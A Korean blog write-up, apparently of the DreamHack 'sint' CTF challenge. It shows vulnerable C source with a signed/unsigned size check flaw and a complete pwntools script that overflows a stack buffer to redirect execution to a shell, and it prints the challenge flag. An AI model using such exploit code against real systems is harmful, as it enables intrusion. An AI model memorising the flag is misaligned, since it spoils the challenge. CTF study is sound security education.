본문 바로가기

Pwnable

[DreamHack] sint



No canary

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

사이즈에 해당하는 정수를 입력하고 그 값이 256보다 크지 않고 0보다 작지 않은지를 판단한 다음에, 사이즈만큼 입력을 받는 코드이다. 
 

취약점


사이즈 값을 검증하는 부분에  0을 걸러내지 못한다는 취약점이 존재한다.

걸러내지 못한다면 read 함수에서 -1 만큼 읽어오게 되는데 read 함수에서 받는 세번째 인자는 unsigned 이다.

따라서 read 함수의 세번째 인자에 -1이 들어온다면 0xffffffff가 unsigned 정수로 인식되어 4,294,967,295라는 값으로 변하게된다.


결국 입력값의 크기는 거진 무제한이 되는 문제가 생긴다.
 
 


 
 
 

Exploit 구성

 
 

 
메인함수의 어셈블리어를 봐주자.

 
 
 
size는 ebp-0x104에, buf는 ebp-0x100에 위치한다.
canary가 없으니 그냥 SFP를 더미값으로 덮어버리고 RET을 get_shell의 주소로 덮어씌워주면 된다!!!

Offset : 0x104

from pwn import *

p = remote("host3.dreamhack.games", 15353)
e = ELF("./sint")

get_shell = e.symbols['get_shell']


payload = b'A' * 0x104
payload += p32(get_shell)

p.sendlineafter("Size: ", str(0))
p.sendlineafter("Data: ", payload)

p.interactive()

 
성공~~^^bb

Flag is
DH{d66e84c453b960cfe37780e8ed9d70ab}

'Pwnable' 카테고리의 다른 글

[DreamHack] validator  (0) 2023.11.28
[DreamHack] cmd_center  (0) 2023.11.28
[문서화] DreamHack - Memory Corruption: Double Free Bug , Tcache Poisoning  (0) 2023.11.21
[pwnable.kr] unlink  (0) 2023.11.21
[Dreamhack] tcache_dup  (0) 2023.11.21